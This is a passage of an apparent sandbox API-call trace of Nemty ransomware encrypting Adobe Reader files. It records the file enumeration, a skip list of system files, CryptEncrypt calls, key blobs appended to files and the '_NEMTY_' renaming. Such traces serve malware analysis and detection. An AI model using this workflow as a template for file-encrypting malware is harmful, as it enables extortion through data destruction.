lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197d7910, dwHighDateTime=0x1d561e8)) [0170.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197d7910, dwHighDateTime=0x1d561e8)) [0170.865] GetLastError () returned 0x0 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.865] GetLastError () returned 0x0 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.865] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.865] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.865] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.865] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="Btts52OOBCa2VtOSGLdve1c4FQt4b83sYdB+NXJS7AJDXbfahSA0gjtLrQdYwCHP\r\n74l9mnAQRlYdf4fYFtBafNrx/8LvAVBXnHL+gjbAY1nN3PQLPlRR7WJsGhCD85HJ\r\nWWHjttCR+iiFd5dhvQo6bXMR8BE2SXFGfdyjwohhm3EDTdqBEA6xsrWCrbtnPCwa\r\nJcVGv2e6Te/pc7kN46PwrXC8T2SvQ+MlzrIgiZeRvqoDdRFD2M/QTdb10Btf3Dhn\r\nSfJbfqskMZs5jK9lS/ZnevA9NQaHV8q97X5mQL7WWlgfKwog2QlXCuH5nPr2eO9n\r\nysLadfoEQlYgQXPZHcmXrA==\r\n", pcchString=0x653e91c) returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.865] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.866] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.866] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.867] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.868] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.868] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.868] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.868] CloseHandle (hObject=0x254) returned 1 [0170.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.868] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv._nemty_kgobjgd_")) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.869] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="..") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="...") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="windows") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="$RECYCLE.BIN") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="rsa") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="NTDETECT.COM") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="ntldr") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="MSDOS.SYS") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="IO.SYS") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="boot.ini") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="boot.ini") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="ntuser.dat") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="desktop.ini") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="CONFIG.SYS") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="RECYCLER") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="BOOTSECT.BAK") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="bootmgr") returned 1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="programdata") returned -1 [0170.869] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="appdata") returned 1 [0170.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.870] Sleep (dwMilliseconds=0x5) [0170.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197fda70, dwHighDateTime=0x1d561e8)) [0170.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197fda70, dwHighDateTime=0x1d561e8)) [0170.880] GetLastError () returned 0x0 [0170.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.880] GetLastError () returned 0x0 [0170.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.880] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.880] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.881] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.881] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="2T18jcK+hU52TgxmQSqcCfqvbbAvyXANhUve291Vju10/QFuDKHfo+FebEWTcpbh\r\nYtj4P/Jte1qIiyJ419NX19l0rsCRI952T0F9ViXWK67raCHlIc6jFDl9yjmiFT+y\r\nGHdl0YjYX+BNW4K+u2g78vSVbA38HNVO9sta78VdtdE7I/8tLfjJ1tlXWsjsPzuA\r\nMoUqHKb9Q7wzL5jVh/uOPhW04PafFfXuveIg6J9nAXn2cz3aFsWEws46XGqhb2KH\r\n+clbAqakJFfIApMLWA/zLY/3pBQUsPjK5PMvUHuhGyFGhLA5zKBPA5rbAUlQD0zD\r\nKYfvgH5VV6+Cog/yYv94Fw==\r\n", pcchString=0x653e91c) returned 1 [0170.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.881] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.881] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.881] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.883] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.883] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.883] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.883] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.883] CloseHandle (hObject=0x254) returned 1 [0170.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.884] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun._nemty_kgobjgd_")) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.884] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0170.884] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".") returned 1 [0170.884] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="..") returned 1 [0170.884] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="...") returned 1 [0170.884] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="windows") returned -1 [0170.884] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="$RECYCLE.BIN") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="rsa") returned -1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="NTDETECT.COM") returned -1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="ntldr") returned -1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="MSDOS.SYS") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="IO.SYS") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="boot.ini") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="boot.ini") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="ntuser.dat") returned -1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="desktop.ini") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="CONFIG.SYS") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="RECYCLER") returned -1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="BOOTSECT.BAK") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="bootmgr") returned 1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="programdata") returned -1 [0170.885] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="appdata") returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 